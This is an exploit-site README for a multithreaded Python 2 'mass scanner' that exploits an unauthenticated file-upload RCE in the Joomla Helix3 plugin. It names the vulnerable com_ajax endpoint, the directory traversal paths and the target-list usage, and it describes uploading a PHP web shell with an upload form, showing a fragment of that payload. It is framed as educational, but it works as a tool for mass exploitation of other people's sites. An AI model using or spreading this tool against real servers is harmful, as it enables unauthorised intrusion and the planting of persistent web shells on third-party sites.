## https://sploitus.com/exploit?id=E2C1A721-D4EF-51AF-BD14-5E97625D26F3
# CVE-2026-49049 Mass Scanner
Mass vulnerability scanner for CVE-2026-49049 - Unauthenticated Remote Code Execution in Joomla Helix3 Framework.
---
## ๐ Description
This tool checks multiple Joomla sites for the **CVE-2026-49049** vulnerability found in the **Helix3** plugin. The vulnerability allows an unauthenticated attacker to upload and execute arbitrary PHP code on the target server.
The scanner attempts to:
1. Exploit the `com_ajax` endpoint with the `helix3` plugin.
2. Upload a harmless PHP info/payload file.
3. Detect if the file is executed or just stored as raw PHP.
---
## โก Features
- **Mass scanning** with multithreading (20 threads by default).
- **Two detection modes**:
- โ **Vulnerable** โ PHP code is executed (successful RCE).
- โ ๏ธ **Raw PHP** โ File is uploaded but not executed (code disclosure).
- **Automatic payload generation** with random filenames.
- **Output saved** to separate files for further analysis.
- **Lightweight** and fast with timeout handling.
---
## ๐ฆ Prerequisites
- **Python 2.7**
- `requests` library
```bash
pip install requests
```
---
๐ Installation
```bash
git clone https://github.com/Jenderal92/CVE-2026-49049.git
cd CVE-2026-49049
chmod +x cve-2026-49049.py
```
---
๐ Usage
```bash
python2 cve-2026-49049.py targets.txt
```
Input Format
Each line in targets.txt should contain one domain or IP:
```
example.com
https://example.com
http://192.168.1.100
```
---
Output Files
File Description
results.txt Vulnerable URLs where the payload was executed
rez.txt URLs where the payload was uploaded but not executed (raw PHP)
---
Example Output
```
============================================================
CVE-2026-49049 Mass Scanner
Results: results.txt (executed)
Raw PHP: rez.txt (not executed)
============================================================
[*] Loaded 150 targets
[*] Using 20 threads
[+] VULNERABLE: https://target.com
[*] RAW PHP: https://target2.com
[-] NOT VULNERABLE: https://secure.com
============================================================
[+] Selesai!
[+] Vulnerable: 12
[+] Raw PHP: 5
[+] Vulnerable URLs:
https://target.com/tmp_123456.php.json
```
---
โ๏ธ Configuration
You can adjust the following variables inside the script:
Variable Default Description
THREADS 20 Number of concurrent threads
PATHS ['../../../', '../../../../'] Directory traversal paths
TIMEOUT 5 HTTP request timeout
RESULT_FILE 'results.txt' Output file for vulnerable sites
RAW_RESULT_FILE 'rez.txt' Output file for raw PHP sites
---
๐ง How It Works
The script sends a POST request to:
```
/index.php?option=com_ajax&plugin=helix3&format=json
```
with a payload that:
1. Specifies a directory traversal path (e.g., ../../../)
2. Uploads a PHP file with a random name
3. Contains a simple web shell / info page
Then it checks if the file is accessible and whether the PHP code is executed or just displayed as plain text.
Payload Example
```php
'.$s.''.php_uname()."\n".'';
// ... upload form
?>
```
---
โ ๏ธ Disclaimer
This tool is for educational and authorized testing purposes only.
Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool.
---